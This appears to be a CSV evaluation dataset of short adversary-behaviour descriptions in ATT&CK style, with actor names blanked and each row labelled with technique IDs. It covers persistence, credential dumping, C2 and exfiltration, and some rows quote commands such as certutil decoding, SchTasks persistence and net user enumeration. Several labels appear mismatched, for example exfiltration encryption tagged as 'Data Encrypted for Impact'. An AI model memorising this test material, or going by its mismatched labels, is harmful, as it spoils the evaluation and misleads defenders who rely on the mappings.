Analysis of  has shown that it regularly undergoes technical improvements to evade anti-virus detection.,['T1027.005 - Indicator Removal from Tools'],eval_config
An  macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
A  tool can add the binary’s path to the Registry key Software\Microsoft\Windows\CurrentVersion\Run to add persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
automatically exfiltrates collected files via removable media when an infected device is connected to the second victim after receiving commands from the first victim.,['T1020 - Automated Exfiltration'],eval_config
A  variant gathers network interface card information.,['T1016 - System Network Configuration Discovery'],eval_config
A variant of  appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],eval_config
C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.,['T1573 - Encrypted Channel'],eval_config
can access a connected webcam and capture pictures.,['T1125 - Video Capture'],eval_config
can add a certificate to the Windows store.,['T1553.004 - Subvert Trust Controls: Install Root Certificate'],eval_config
can add a Run key entry in the Registry to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.,['T1090 - Proxy'],eval_config
"can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.",['T1016 - System Network Configuration Discovery'],eval_config
can be used to embed a PowerShell script within the pixels of a PNG file.,['T1027 - Obfuscated Files or Information'],eval_config
can be used to gather information on permission groups within a domain.,['T1069 - Permission Groups Discovery'],eval_config
can create a Windows account.,['T1136 - Create Account'],eval_config
can delete all files created during its execution.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
can download files to the victim’s machine and execute them.,['T1105 - Ingress Tool Transfer'],eval_config
can dump active logon session password hashes from the lsass process.,['T1003 - OS Credential Dumping'],eval_config
can dump Windows password hashes.,['T1003 - OS Credential Dumping'],eval_config
can dump Windows password hashes and LSA secrets.,['T1003 - OS Credential Dumping'],eval_config
"can encrypt C2 data with a custom technique using MD5, base64-encoding, and RC4.",['T1573 - Encrypted Channel'],eval_config
can execute commands via an interactive command shell.,['T1059 - Command and Scripting Interpreter'],eval_config
"can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.",['T1082 - System Information Discovery'],eval_config
can gather hashed passwords by dumping SAM/SECURITY hive and gathers domain controller hashes from NTDS.,['T1003 - OS Credential Dumping'],eval_config
can gather the victim OS version and whether it is 64 or 32 bit.,['T1082 - System Information Discovery'],eval_config
"can gather very specific information about attached USB devices, to include device instance ID and drive geometry.",['T1120 - Peripheral Device Discovery'],eval_config
"can grab a system’s information including the OS version, architecture, etc.",['T1082 - System Information Discovery'],eval_config
can launch a remote shell to execute commands on the victim’s machine.,['T1059 - Command and Scripting Interpreter'],eval_config
can launch PowerShell Scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
can list all running processes.,['T1057 - Process Discovery'],eval_config
can list file and directory information.,['T1083 - File and Directory Discovery'],eval_config
can list running processes.,['T1057 - Process Discovery'],eval_config
can obtain a list of all files and directories as well as logical drives.,['T1083 - File and Directory Discovery'],eval_config
"can obtain information about the OS, processor, and BIOS.",['T1082 - System Information Discovery'],eval_config
"can obtain information about the victim computer name, physical memory, country, and date.",['T1082 - System Information Discovery'],eval_config
can obtain information about the victim usernames.,['T1033 - System Owner/User Discovery'],eval_config
can obtain system information such as OS version and disk space.,['T1082 - System Information Discovery'],eval_config
"can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.",['T1082 - System Information Discovery'],eval_config
"can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.",['T1082 - System Information Discovery'],eval_config
can obtain the victim username and permissions.,['T1033 - System Owner/User Discovery'],eval_config
"can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.",['T1185 - Browser Session Hijacking'],eval_config
can perform screen capturing.,['T1113 - Screen Capture'],eval_config
can ping or traceroute a remote host.,['T1018 - Remote System Discovery'],eval_config
can query shared drives on the local system.,['T1135 - Network Share Discovery'],eval_config
can record sound with the microphone.,['T1123 - Audio Capture'],eval_config
can retrieve screenshots from compromised hosts.,['T1113 - Screen Capture'],eval_config
"can securely delete files, including deleting itself from the victim.",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
can send process listings over the C2 channel.,['T1057 - Process Discovery'],eval_config
"can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.",['T1041 - Exfiltration Over C2 Channel'],eval_config
can upload and download files to the victim’s machine.,['T1105 - Ingress Tool Transfer'],eval_config
can upload files from the victim's machine to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],eval_config
can use public cloud-based storage providers for command and control.,['T1102 - Web Service'],eval_config
can walk through directories and recursively search for strings in files.,['T1083 - File and Directory Discovery'],eval_config
can wipe files indicated by the attacker and remove itself from disk using a batch file.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"checks for information on the CPU fan, temperature, mouse, hard disk, and motherboard as part of its anti-VM checks.",['T1082 - System Information Discovery'],eval_config
checks the system for certain Registry keys.,['T1012 - Query Registry'],eval_config
checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.,['T1082 - System Information Discovery'],eval_config
"checks to see if the system is configured with ""Daylight"" time and checks for a specific region to be set for the timezone.",['T1124 - System Time Discovery'],eval_config
collected and exfiltrated files from the infected system.,['T1005 - Data from Local System'],eval_config
collects address book information from Outlook.,['T1114 - Email Collection'],eval_config
collects a list of accounts with the command net users.,['T1087 - Account Discovery'],eval_config
collects and sends system information to its C2.,['T1082 - System Information Discovery'],eval_config
"collects credentials from Internet Explorer, Mozilla Firefox, Eudora, and several email clients.",['T1003 - OS Credential Dumping'],eval_config
collects current and parent process IDs.,['T1057 - Process Discovery'],eval_config
collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.,['T1074 - Data Staged'],eval_config
collects screenshots of the victim machine.,['T1113 - Screen Capture'],eval_config
collects the network adapter information.,['T1016 - System Network Configuration Discovery'],eval_config
collects the network adapter information and domain/username information based on current remote sessions.,['T1016 - System Network Configuration Discovery'],eval_config
collects the victim's %TEMP% directory path and version of Internet Explorer.,['T1083 - File and Directory Discovery'],eval_config
"collects the victim hostname, window resolution, and Microsoft Windows version.",['T1082 - System Information Discovery'],eval_config
collects the victim’s username.,['T1033 - System Owner/User Discovery'],eval_config
command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS.,['T1573 - Encrypted Channel'],eval_config
Commands such as net use and net session can be used in  to gather information about network connections from a particular host.,['T1049 - System Network Connections Discovery'],eval_config
communicates over raw TCP.,['T1095 - Non-Application Layer Protocol'],eval_config
communicates to servers operated by Google using the Jabber/XMPP protocol.,['T1102 - Web Service'],eval_config
communicates with its C2 server over port 443.,['T1043 - Commonly Used Port'],eval_config
compressed data into .zip files prior to exfiltrating it.,['T1560 - Archive Collected Data'],eval_config
connects to external C2 infrastructure and opens a backdoor over port 443.,['T1043 - Commonly Used Port'],eval_config
connects to external C2 infrastructure over port 443.,['T1043 - Commonly Used Port'],eval_config
contains a custom keylogger.,['T1056 - Input Capture'],eval_config
contains a keylogger.,['T1056 - Input Capture'],eval_config
contains code to compress files.,['T1560 - Archive Collected Data'],eval_config
"contains several references to football (including ""football,"" ""score,"" ""ball,"" and ""loose"") in a likely attempt to disguise its traffic.",['T1036 - Masquerading'],eval_config
contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
contains the getProcessList function to run ps aux to get running processes.,['T1057 - Process Discovery'],eval_config
copies and exfiltrates the clipboard contents every 30 seconds.,['T1115 - Clipboard Data'],eval_config
"copies files with certain extensions from USB devices to
a predefined directory.",['T1025 - Data from Removable Media'],eval_config
copies itself into a running Internet Explorer process to evade detection.,['T1055 - Process Injection'],eval_config
copies itself over network shares to move laterally on a victim network.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],eval_config
"created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.",['T1136 - Create Account'],eval_config
created several .LNK files on the victim's machine.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
creates a backdoor through which remote attackers can change C2 servers.,['T1008 - Fallback Channels'],eval_config
"creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.",['T1083 - File and Directory Discovery'],eval_config
creates a backdoor through which remote attackers can clear all system event logs.,['T1070 - Indicator Removal on Host'],eval_config
creates a backdoor through which remote attackers can download files.,['T1105 - Ingress Tool Transfer'],eval_config
creates a backdoor through which remote attackers can retrieve system information.,['T1082 - System Information Discovery'],eval_config
creates a new service named WmiApSrvEx to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
creates a new service to establish.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
creates a Registry start-up entry to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
creates a scheduled task to ensure it is re-executed everyday.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
creates run key Registry entries pointing to a malicious executable dropped to disk.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
creates three Registry keys to establish persistence by adding a .,['T1112 - Modify Registry'],eval_config
decoded base64-encoded PowerShell commands using a VBS file.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.",['T1573 - Encrypted Channel'],eval_config
deletes any temporary files it creates,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
deletes its dropper and VBS scripts from the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
deletes its original installer file once installation is complete.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
deletes its RAT installer file as it executes its DLL payload file.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
deletes the .LNK file from the startup directory as well as the dropper components.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
delivers malware using spearphishing emails with malicious HWP attachments.,['T1598.002 - Spearphishing Attachment'],eval_config
"deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.",['T1040 - Network Sniffing'],eval_config
downloads its backdoor component from a C2 server and loads it directly into memory.,['T1105 - Ingress Tool Transfer'],eval_config
drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.,['T1091 - Replication Through Removable Media'],eval_config
"drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.",['T1091 - Replication Through Removable Media'],eval_config
encodes credit card data it collected from the victim with XOR.,['T1486 - Data Encrypted for Impact'],eval_config
encodes data in hexadecimal format over the C2 channel.,['T1132 - Data Encoding'],eval_config
encrypted the collected files' path with AES and then encoded them with base64.,['T1486 - Data Encrypted for Impact'],eval_config
encrypts C2 data with a ROR by 3 and an XOR by 0x23.,['T1573 - Encrypted Channel'],eval_config
encrypts C2 traffic using an XOR/ADD cipher and uses a FakeTLS method.,['T1573 - Encrypted Channel'],eval_config
encrypts C2 traffic with a custom RC4 variant.,['T1573 - Encrypted Channel'],eval_config
encrypts collected data with AES and Base64 and then sends it to the C2 server.,['T1486 - Data Encrypted for Impact'],eval_config
encrypts collected data with an incremental XOR key prior to exfiltration.,['T1486 - Data Encrypted for Impact'],eval_config
encrypts data with a substitute cipher prior to exfiltration.,['T1486 - Data Encrypted for Impact'],eval_config
encrypts files with XOR before sending them back to the C2 server.,['T1486 - Data Encrypted for Impact'],eval_config
enumerates all running services.,['T1007 - System Service Discovery'],eval_config
establishes a backdoor over HTTP.,['T1071 - Application Layer Protocol'],eval_config
establishes persistence by creating a scheduled task with the command SchTasks /Create /SC DAILY /TN BigData /TR “ + path_file + “/ST 09:30“.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
establishes persistence via a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
executed  by using rundll32 commands such as rundll32.exe “C:\Windows\twain_64.dll”.  also executed a .dll for a first stage dropper using rundll32.exe. An  loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
executes code using HTTP POST commands.,['T1071 - Application Layer Protocol'],eval_config
executes the whoami on the victim’s machine.,['T1033 - System Owner/User Discovery'],eval_config
exfiltrates collected files automatically over FTP to remote servers.,['T1020 - Automated Exfiltration'],eval_config
exfiltrates collected files via removable media from air-gapped victims.,['T1052 - Exfiltration Over Physical Medium'],eval_config
exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement.,['T1210 - Exploitation of Remote Services'],eval_config
exploits CVE-2016-4117 to allow an executable to gain escalated privileges.,['T1068 - Exploitation for Privilege Escalation'],eval_config
extracted documents and bundled them into a RAR archive.,['T1560 - Archive Collected Data'],eval_config
extracted Word documents from a file server on a victim network.,['T1039 - Data from Network Shared Drive'],eval_config
"gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry.  has searched for given file types.",['T1083 - File and Directory Discovery'],eval_config
gathers a list of processes using the tasklist command and then is sent back to the control server.,['T1057 - Process Discovery'],eval_config
"gathers informatin on the IP forwarding table, MAC address, and network SSID.",['T1016 - System Network Configuration Discovery'],eval_config
gathers network configuration information as well as the ARP cache.,['T1016 - System Network Configuration Discovery'],eval_config
grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user.,['T1134 - Access Token Manipulation'],eval_config
has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.,['T1106 - Native API'],eval_config
has a command to search for files on the victim’s machine.,['T1083 - File and Directory Discovery'],eval_config
has a command to timestop a file or directory.,['T1070.006 - Indicator Removal on Host: Timestomp'],eval_config
has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.,['T1105 - Ingress Tool Transfer'],eval_config
has a function to delete files from the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
has been delivered via Word documents using DDE for execution.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],eval_config
has been known to employ binary padding.,['T1027.001 - Obfuscated Files or Information: Binary Padding'],eval_config
has been known to establish persistence by adding programs to the Run Registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
has been seen loaded into msiexec.exe through process hollowing to hide its execution.,['T1055.012 - Process Injection: Process Hollowing'],eval_config
has collected .PST archives.,['T1114 - Email Collection'],eval_config
"has commands to get information about the victim's name, build, version, serial number, and memory usage.",['T1082 - System Information Discovery'],eval_config
has commands to list drives on the victim machine and to list file information for a given directory.,['T1083 - File and Directory Discovery'],eval_config
has executed malicious .bat files containing PowerShell commands.,['T1064 - Scripting'],eval_config
"has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],eval_config
has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.,['T1036 - Masquerading'],eval_config
has injected code into trusted processes.,['T1055 - Process Injection'],eval_config
"has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
has modules that are capable of capturing from a victim's webcam.,['T1125 - Video Capture'],eval_config
has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit (LSB) steganography.,['T1001 - Data Obfuscation'],eval_config
has run tasklist on a victim's machine.,['T1057 - Process Discovery'],eval_config
has sent emails containing malicious attachments or links that require users to execute a file or macro to infect the victim machine.,['T1204 - User Execution'],eval_config
has sent emails with URLs pointing to malicious documents.,['T1598.003 - Spearphishing Link'],eval_config
"has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.",['T1598.003 - Spearphishing Link'],eval_config
has several commands to delete files associated with the malware from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
has signed its malware with an invalid digital certificates listed as “Tencent Technology (Shenzhen) Company Limited.”,['T1553.002 - Code Signing'],eval_config
"has signed  payloads with legally purchased code signing certificates.  has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.",['T1553.002 - Code Signing'],eval_config
has stored captured credential information in a file named pi.log.,['T1074 - Data Staged'],eval_config
has the ability to change firewall settings to allow a plug-in to be downloaded.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],eval_config
has the ability to initiate keylogging.,['T1056 - Input Capture'],eval_config
"has the capability to collect the computer name, language settings, the OS version, CPU information, disk devices, and time elapsed since system start.",['T1082 - System Information Discovery'],eval_config
has the capability to collect the current logged on user’s username from a machine.,['T1033 - System Owner/User Discovery'],eval_config
has the capability to delete files and scripts from the victim's machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
has the capability to download and execute .exe files.,['T1105 - Ingress Tool Transfer'],eval_config
has the capability to execute commands using cmd.exe.,['T1059 - Command and Scripting Interpreter'],eval_config
has the capability to gather NTLM password information.,['T1003 - OS Credential Dumping'],eval_config
"has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.",['T1008 - Fallback Channels'],eval_config
has used a CHM payload to load and execute another malicious file once delivered to a victim.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],eval_config
has used a custom executable to execute PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.,['T1003 - OS Credential Dumping'],eval_config
"has used a script to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.",['T1119 - Automated Collection'],eval_config
has used command line during its intrusions.,['T1059 - Command and Scripting Interpreter'],eval_config
"has used CVE-2014-4076, CVE-2015-2387, and CVE-2015-1701 to escalate privileges.",['T1068 - Exploitation for Privilege Escalation'],eval_config
has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.,['T1134 - Access Token Manipulation'],eval_config
has used environment variables and standard input (stdin) to obfuscate command-line arguments.  also obfuscates malicious macros delivered as payloads.,['T1027 - Obfuscated Files or Information'],eval_config
"has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.",['T1203 - Exploitation for Client Execution'],eval_config
has used forged Microsoft code-signing certificates on malware.,['T1553.002 - Code Signing'],eval_config
"has used hidden or non-printing characters to help masquerade file names on a system, such as appending a Unicode no-break space character to a legitimate service name.",['T1036 - Masquerading'],eval_config
has used HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers.,['T1071 - Application Layer Protocol'],eval_config
has used HTTPS and DNS tunneling for C2. The group has also used the Plink utility to create SSH tunnels.,['T1071 - Application Layer Protocol'],eval_config
has used keyloggers.,['T1056 - Input Capture'],eval_config
has used legitimate credentials to maintain access to a victim network and exfiltrate data. The group also used credentials stolen through a spearphishing email to login to the DCCC network.,['T1078 - Valid Accounts'],eval_config
has used legitimate local admin account credentials.,['T1078 - Valid Accounts'],eval_config
has used Metasploit’s  NTDSGRAB module to obtain a copy of the victim's Active Directory database.,['T1087 - Account Discovery'],eval_config
has used net user /domain to identify account information.,['T1087 - Account Discovery'],eval_config
has used pass the hash for lateral movement.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],eval_config
"has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.",['T1216 - Signed Script Proxy Execution'],eval_config
"has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and PoS malware known as TRINITY.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
has used scheduled tasks to maintain RDP backdoors.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
has used stolen code signing certificates used to sign malware.,['T1553.002 - Code Signing'],eval_config
"has used tcping.exe, similar to , to probe port status on systems of interest.",['T1046 - Network Service Discovery'],eval_config
has used the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.,['T1095 - Non-Application Layer Protocol'],eval_config
has used the net view command.,['T1018 - Remote System Discovery'],eval_config
has used  to generate Kerberos golden tickets.,['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],eval_config
has used UPX to pack,['T1027.002 - Obfuscated Files or Information: Software Packing'],eval_config
has used WinRM to enable remote execution.,['T1021.006 - Remote Services: Windows Remote Management'],eval_config
"If a victim meets certain criteria,  uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs – %APPDATA%\Intel\ResN32.dll and HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs – 0x1.",['T1546.010 - Event Triggered Execution: AppInit DLLs'],eval_config
"If establishing persistence by installation as a new service fails, one variant of  establishes persistence for the created .exe file by setting the following Registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost : %APPDATA%\Microsoft\Network\svchost.exe. Other variants have set the following Registry key for persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\imejp : [self].",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
injects itself into explorer.exe.,['T1055 - Process Injection'],eval_config
"injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.",['T1055 - Process Injection'],eval_config
installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.,['T1036 - Masquerading'],eval_config
Install-SSP Persistence module can be used to establish by installing a SSP DLL.,['T1547.005 - Boot or Logon Autostart Execution: Security Support Provider'],eval_config
is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.,['T1542.003 - Bootkit'],eval_config
is a Web shell.,['T1505.003 - Server Software Component: Web Shell'],eval_config
is capable of deleting the backdoor file.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
"is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.",['T1083 - File and Directory Discovery'],eval_config
is capable of manipulating the Registry.,['T1112 - Modify Registry'],eval_config
is capable of performing audio captures.,['T1123 - Audio Capture'],eval_config
is capable of persisting via a .lnk file stored in the Startup directory.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
"is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.",['T1083 - File and Directory Discovery'],eval_config
is capable of running WMI queries.,['T1047 - Windows Management Instrumentation'],eval_config
is capable of setting and deleting Registry values.,['T1112 - Modify Registry'],eval_config
is capable of stealing usernames and passwords from browsers on the victim machine.,['T1003 - OS Credential Dumping'],eval_config
is capable of taking screen captures.,['T1113 - Screen Capture'],eval_config
is capable of tunneling though a proxy.,['T1090 - Proxy'],eval_config
is likely loaded via DLL hijacking into a legitimate McAfee binary.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],eval_config
is obscured using XOR encoding and appended to a valid GIF file.,['T1027 - Obfuscated Files or Information'],eval_config
leveraged  to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers.,['T1003 - OS Credential Dumping'],eval_config
leverages  and  to steal credentials.,['T1003 - OS Credential Dumping'],eval_config
leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.,['T1106 - Native API'],eval_config
lists files on the victim’s machine.,['T1083 - File and Directory Discovery'],eval_config
lists the current running processes on the system.,['T1057 - Process Discovery'],eval_config
lists the system’s processes.,['T1057 - Process Discovery'],eval_config
logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.,['T1027 - Obfuscated Files or Information'],eval_config
main method of communicating with its C2 servers is using HTTP or HTTPS.,['T1071 - Application Layer Protocol'],eval_config
malware attempts to maintain persistence by saving itself in the Start menu folder or by adding a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
malware can attempt to disable security features in Microsoft Office and Windows Defender using the taskkill command.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],eval_config
"malware can leverage the Windows API call, CreateProcessA(), for execution.",['T1106 - Native API'],eval_config
malware can take a screenshot and upload the file to its C2 server.,['T1113 - Screen Capture'],eval_config
malware contains a secondary fallback command and control server that is contacted after the primary command and control server.,['T1008 - Fallback Channels'],eval_config
malware gathers a list of running processes.,['T1057 - Process Discovery'],eval_config
"malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
malware has used .vbs scripts for execution.,['T1064 - Scripting'],eval_config
malware KiloAlfa contains keylogging functionality.,['T1056 - Input Capture'],eval_config
"malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.",['T1008 - Fallback Channels'],eval_config
malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.,['T1047 - Windows Management Instrumentation'],eval_config
malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.,['T1542.003 - Bootkit'],eval_config
marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
may collect information about the currently logged in user by running whoami on a victim.,['T1033 - System Owner/User Discovery'],eval_config
"may create the file %HOMEPATH%\Start Menu\Programs\Startup\Realtek {Unique Identifier}.lnk, which points to the malicious msdtc.exe file already created in the %CommonFiles% directory.",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
may use ipconfig /all to gather system network configuration details.,['T1016 - System Network Configuration Discovery'],eval_config
mimics filenames from %SYSTEM%\System32 to hide DLLs in %WINDIR% and/or %TEMP%.,['T1036 - Masquerading'],eval_config
modifies the firewall Registry key SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileGloballyOpenPorts\\List.,['T1112 - Modify Registry'],eval_config
network traffic can communicate over HTTP.,['T1071 - Application Layer Protocol'],eval_config
network traffic communicates over a raw socket.,['T1095 - Non-Application Layer Protocol'],eval_config
network traffic is Base64-encoded plaintext.,['T1132 - Data Encoding'],eval_config
New-UserPersistenceOption Persistence argument can be used to establish via a .,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
New-UserPersistenceOption Persistence argument can be used to establish via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
obfuscates API function names using a substitute cipher combined with Base64 encoding.,['T1027 - Obfuscated Files or Information'],eval_config
obtains the victim username and saves it to a file.,['T1033 - System Owner/User Discovery'],eval_config
"Once  gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.",['T1199 - Trusted Relationship'],eval_config
opens cmd.exe on the victim.,['T1059 - Command and Scripting Interpreter'],eval_config
overwrites Explorer’s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.,['T1055.011 - Process Injection: Extra Window Memory Injection'],eval_config
"Part of 's operation involved using  modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.",['T1092 - Communication Through Removable Media'],eval_config
performs checks for various antivirus and security products during installation.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
"performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA, SAM table, credential vault, DCSync/NetSync, and DPAPI.",['T1003 - OS Credential Dumping'],eval_config
performs discovery of permission groups net group /domain.,['T1069 - Permission Groups Discovery'],eval_config
performs process discovery using tasklist commands.,['T1057 - Process Discovery'],eval_config
"primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.",['T1008 - Fallback Channels'],eval_config
"provides a reverse shell connection on 8338/TCP, encrypted via AES.","['T1573 - Encrypted Channel', 'T1059 - Command and Scripting Interpreter', 'T1095 - Non-Application Layer Protocol']",eval_config
queries Registry values as part of its anti-sandbox checks.,['T1012 - Query Registry'],eval_config
queries the registry to look for information about Terminal Services.,['T1012 - Query Registry'],eval_config
queries the system to identify existing services.,['T1007 - System Service Discovery'],eval_config
Recent versions of  delete files and registry keys created by the malware.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
recursively searches through directories for files.,['T1083 - File and Directory Discovery'],eval_config
removes all files in the /tmp directory.,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
retrieves additional malicious payloads from the C2 server.,['T1105 - Ingress Tool Transfer'],eval_config
saves system information into an XML file that is then XOR-encoded.,['T1486 - Data Encrypted for Impact'],eval_config
scanned network services to search for vulnerabilities in the victim system.,['T1046 - Network Service Discovery'],eval_config
schedules tasks to invoke its components in order to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],eval_config
searches for administrator accounts on both the local victim machine and the network.,['T1087 - Account Discovery'],eval_config
searches for removable media and duplicates itself onto it.,['T1091 - Replication Through Removable Media'],eval_config
searches for specified files.,['T1083 - File and Directory Discovery'],eval_config
sends the logged-on username to its hard-coded C2.,['T1033 - System Owner/User Discovery'],eval_config
sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.,['T1598.002 - Spearphishing Attachment'],eval_config
